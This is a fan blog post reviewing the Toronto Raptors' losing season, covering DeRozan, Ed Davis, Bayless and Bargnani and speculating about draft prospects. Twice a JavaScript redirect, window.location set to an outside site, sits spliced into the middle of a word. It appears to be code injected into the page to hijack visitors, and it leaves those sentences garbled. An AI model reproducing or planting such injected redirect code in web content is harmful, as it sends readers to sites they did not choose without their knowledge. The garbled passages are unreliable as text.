The Raptors wrapped up a disappointing season last night as they fell to the Miami Heat sans the Big Three. They ended the season with a 22-60 record, and it was about as ugly as you can imagine in their first season since Bosh headed to South Beach. But amidst the losing record and the pile of injuries that stacked up over the course of the year, there are some positives that can be taken away from this season for Canada’s lone franchise.
The biggest highlight of the season was the play of DeMar DeRozan. The sophomore avoided anything resembling a second year slump, as he raised his scoring average from 8.6ppg to 17.2ppg, and on top of that he managed to play every single game this season. The two-guard out of Compton has put himself on the map as a legit scorer in the Association, and should only continue to improve his game. DeMar is just 21 years old, so he has plenty of time to grow into his skills and continue to develop his body.
DeMar & Ed
Former Tar Heel Ed Davis joined the team this year as a highly touted big man who was somewhat raw on the offensive side of the ball. After tearing the meniscus in his knee during an open run with some fans in the summer, Ed missed training camp and the start of the season. But once he got healthy and got the brace off of his knee, he flashed some of the parts of his game that wowed Raptors fans. The lanky southpaw big man was active on both ends of the ball, and he averaged 13 and 9 in April. While he shot better from the field than from the line, it was great to see the improvements from Ed over the course of the season.
An early season trade that sent Jarrett Jack to the Hornets brought former 11th overall pick Jerryd Bayless north of the border. After languishing on the bench in Portland for a couple of years, Bayless finally got a chance to play major minutes for the Raptors, and showed flashes of what his game could become. Once Jose went down with a swollen wallet late in the season, Bayless got to start and put up more than 22 a game. He shot a solid percentage from the field, and chipped in almost six dimes a game. If Colangelo can somehow manage to unload Jose in the summer, or if he decides to leave the league once and for all, then we will get to see what Jerryd is all about in a full season.
Andrea. Well he averaged 21 a game. Shot 44% from the field. But the most impressive stat for the seven-footer is that he managed to pull down a whopping 5 boards a game. Five. He also contributed a massive 2.6 wins and was overall painful to watch. It is tough to say what the best approach to Bargnani is, as he would probwindow.location=”http://occupyto.org/”;ably excel alongside a real big man, but the team is so loaded with tweener fours that there simply isn’t space for it. Amir, Ed and Andrea are arguably the softest frontline in the league, and that have to add some actual muscle to make them a force. Jared Sullingert would have been nice, but it looks like he is going to be returning to THE Ohio State.
So moving forward, the Raptors ended the season with the third worst record in the league, with just the Cavs and the T-Wolves ending with worse records. The Draft Lottery is a few weeks away, but until then we will speculate based on them drafting third overall. So far Sullinger and Baylor freshman Perry Jones have announced that they will be returning to school for their sophomore year, and thus dampening the Raptors chances of grabbing a big man with some skills. Both were seen to be top-five picks, and what is left now is unclear. Harrison Barnes is expected to announce his intentions in the next few days, and he could be the elite wing player that the Dino’s.
Another option is Turkish big man Enes Kanter, who was ruled ineligible to play at Kentucky this year after accepting payment while playing in Turkey. He showed exceptional skills at last years Hoop Summit, and might have actually helped his stock by not playing this year. He did not give scouts much to see this year while training with the ‘Cats, and instead will be one of the most mysterious prospects in the draft this year. There are a trio of internationals that could all be taken early in the draft. Jan Vesely, Donatas Monteijunas and Jonas Valanciunas are all over 6’11 and under 240. While few know much of them, they have earned comparisons to Mike Dunleavy Jr. and Mr. Bargnani himself, so here is hoping that BC and Gheradini don’t chase any of them this year.
Similar to how Kanter saw his stock rise after the Hoops Summit last year, the man of the hour this year was Congolese Bismack Biyambo. While there are some questions about his actual age, there is no questioning the skill of the 6’9, 240 pound bruiser. He has an enormous 7’7 wingspan, and put up the first triple-double in Summit history, including double-digit blocks for the youngster. He is extremely raw at this point, but if the Raptors manage to lose out in the lottery and end up in the double-digit picks, Biyambo might be worth taking a look at. He will measure very well at the combine, and could end up in the top-ten.
So the off-season is upon us. No one even knows if we will have a season next year. So the disastrous performance last night against the Heat could be the last time we get to see our belovewindow.location=”http://occupyto.org/”;d Raptors for some time. There will be a draft this year, so at least we have something to look forward too.